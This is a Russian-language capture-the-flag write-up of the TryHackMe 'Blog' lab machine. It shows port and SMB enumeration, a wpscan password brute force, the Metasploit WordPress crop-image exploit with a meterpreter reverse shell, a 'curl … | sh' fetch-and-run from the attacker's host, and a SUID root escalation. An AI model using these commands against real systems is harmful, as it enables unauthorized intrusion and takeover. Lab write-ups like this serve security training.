TryHackMe - Blog
Анализ бинарного файла в поисках кода?
Введение
Лично я НЕ рекомендую использовать WordPress, если в этом нет абсолютной необходимости.
Количество уязвимостей, которые обнаруживаются каждый день, просто безумное.
Сначала я не думал, что это задание уровня Medium, но после того как столкнулся с бинарным файлом и начал его анализировать, понял — это совсем не шутка.
Nmap
Начнём со сканирования с помощью nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.139.64
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_ 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-title: Billy Joel's IT Blog – The IT blog
|_http-generator: WordPress 5.0
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-02-28T14:11:25
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: blog
| NetBIOS computer name: BLOG\x00
| Domain name: \x00
| FQDN: blog
|_ System time: 2025-02-28T14:11:25+00:00
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Открытые порты:
22/tcp
80/tcp
139/tcp
445/tcp
Разведка
Так как у нас открыты порты SMB, давайте просканируем Samba-шары с помощью enum4linux
1
$ enum4linux -a 10.10.139.64
Мы можем увидеть шару Billy
1
2
3
print$ Disk Printer Drivers
BillySMB Disk Billy's local SMB Share
IPC$ IPC IPC Service (blog server (Samba, Ubuntu))
Давайте подключимся к ней и скачаем все доступные файлы
1
2
3
4
5
6
7
8
9
10
11
12
$ smbclient \\\\10.10.139.64\\BillySMB\\
Password for [WORKGROUP\rene]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue May 26 20:17:05 2020
.. D 0 Tue May 26 19:58:23 2020
Alice-White-Rabbit.jpg N 33378 Tue May 26 20:17:01 2020
tswift.mp4 N 1236733 Tue May 26 20:13:45 2020
check-this.png N 3082 Tue May 26 20:13:43 2020
15413192 blocks of size 1024. 9790060 blocks available
smb: \>
Хорошо, можем проверить файлы. Я сделаю это следующим образом:
- Смонтирую шару в локальную папку.
- Выйду из папки и зайду обратно, чтобы она обновилась.
1
2
3
4
5
$ sudo mount -t cifs //10.10.139.64/BillySMB /home/rene/tryhackme/blog
$ cd ..
$ cd blog
$ ls
Alice-White-Rabbit.jpg check-this.png tswift.mp4
Хорошо, давай проверим файлы
1
$ xdg-open Alice-White-Rabbit.jpg
1
$ xdg-open check-this.png
QR‑код ведёт нас на https://www.youtube.com/watch?v=eFTLKWw542g → мы не запустили песню Fire
А в видео — козёл, орущий под музыку :D
Давайте проверим изображения с помощью steghide
Окей, он запрашивает парольную фразу, которой мы не знаем
Извлекаем доступную информацию
1
2
3
4
5
6
7
8
9
10
$ steghide --info Alice-White-Rabbit.jpg
"Alice-White-Rabbit.jpg":
format: jpeg
capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "rabbit_hole.txt":
size: 48.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Похоже, это кроличья нора…
Давайте посетим сайт 10.10.139.64.
Выглядит как стандартный сайт на WordPress.
Для WordPress есть очень полезный инструмент — wpscan, который позволяет перечислять (enumerate) пользователей. Давайте его используем.
1
$ wpscan --url http://10.10.139.64 --enumerate u
We found 2 users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[i] User(s) Identified:
[+] bjoel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] kwheel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Давайте попробуем брутфорс, это можно сделать прямо с помощью wpscan.
1
wpscan --url http://10.10.139.64 -P /usr/share/wordlists/rockyou.txt -U "kwheel"
Окей, форма логина работает только через blog.thm, поэтому нам нужно добавить IP в файл /etc/hosts, чтобы сайт открывался по hostname.
1
2
echo "10.10.139.64 blog.thm" | sudo tee -a /etc/hosts
10.10.139.64 blog.thm
Я попробовал загрузить файл с reverse shell в раздел медиа, но это не сработало.
После небольшого ресёрча по поводу загрузки изображений в WordPress я наткнулся на уязвимость CVE-2019-8942.
Давайте откроем metasploit и проверим, есть ли для неё готовый модуль.
1
2
3
4
5
6
7
8
9
msfconsole
msf6 > search CVE-2019-8942
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_crop_rce 2019-02-19 excellent Yes WordPress Crop-image Shell Upload
Какая удача — он действительно есть, так что давайте его используем
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 > use use exploit/multi/http/wp_crop_rce
msf6 exploit(multi/http/wp_crop_rce) > options
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metas
ploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THEME_DIR no The WordPress theme dir name (disable theme auto-detection if provid
ed)
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.133.135 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Теперь нужно настроить необходимые параметры
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD <CENSORED>
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS blog.thm
msf6 exploit(multi/http/wp_crop_rce) > set username kwheel
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 10.11.75.122
msf6 exploit(multi/http/wp_crop_rce) > exploit
[*] Started reverse TCP handler on 10.11.75.122:4444
[*] Authenticating with WordPress using kwheel:<CENSORED>...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (40004 bytes) to 10.10.139.64
[*] Attempting to clean up files...
[*] Meterpreter session 1 opened (10.11.75.122:4444 -> 10.10.139.64:45118) at 2025-02-28 16:29:26 +0100
meterpreter >
И мы получили meterpreter-сессию
Давайте переключимся на tty shell с помощью команды shell
Окей, похоже, что флаг user.txt в этот раз не является флагом
Повышение привилегий
Давайте повысим наши привилегии
sudo -l не работает, поэтому попробуем скачать linpeas.sh с нашей машины и запустить его.
(Не забудьте запустить локальный HTTP‑сервер в папке, где лежит linpeas.sh.)
1
curl 10.11.75.122/linpeas.sh | sh
Вау, вообще ничего…
После небольшого гуглинга я наткнулся на
https://github.com/Anon-Exploiter/SUID3NUM, так что давайте скачаем его и запустим.
1
curl 10.11.75.122/suid3num.py
Окей, наконец-то что‑то есть.
Давайте скачаем файл (запустите локальный HTTP‑сервер на целевой машине в директории, где находится файл checker):
1
$ wget http://10.10.139.64:8000/checker
Теперь проанализируем бинарный файл с помощью инструмента ghidra.
После долгого анализа мы, скорее всего, нашли нужный нам код.
Функциональность кода:
- Получает значение переменной окружения
adminс помощьюgetenv("admin") - Проверяет, установлена ли переменная
admin- Если
adminне установлена (NULL), выводит сообщение"Not an Admin." - Если
adminустановлена, переходит к следующему шагу
- Если
- Повышает привилегии, вызывая
setuid(0)(устанавливает UID в root, если это разрешено) - Запускает новый shell, выполняя
system("/bin/bash"), тем самым открывая root‑shell
По сути, всё, что нам нужно сделать — это установить переменную окружения admin в любое значение и запустить checker.
1
2
3
admin=rene /usr/sbin/checker
id
uid=0(root) gid=33(www-data) groups=33(www-data)
Root Flag
Теперь мы можем получить все флаги.
User
Root
Оставшиеся вопросы:
Где был найден user.txt?
Ответ:
1
/media/usb
Какую CMS использовал Billy?
Ответ:
1
Wordpress
Какая версия этой CMS использовалась?
1
5.0






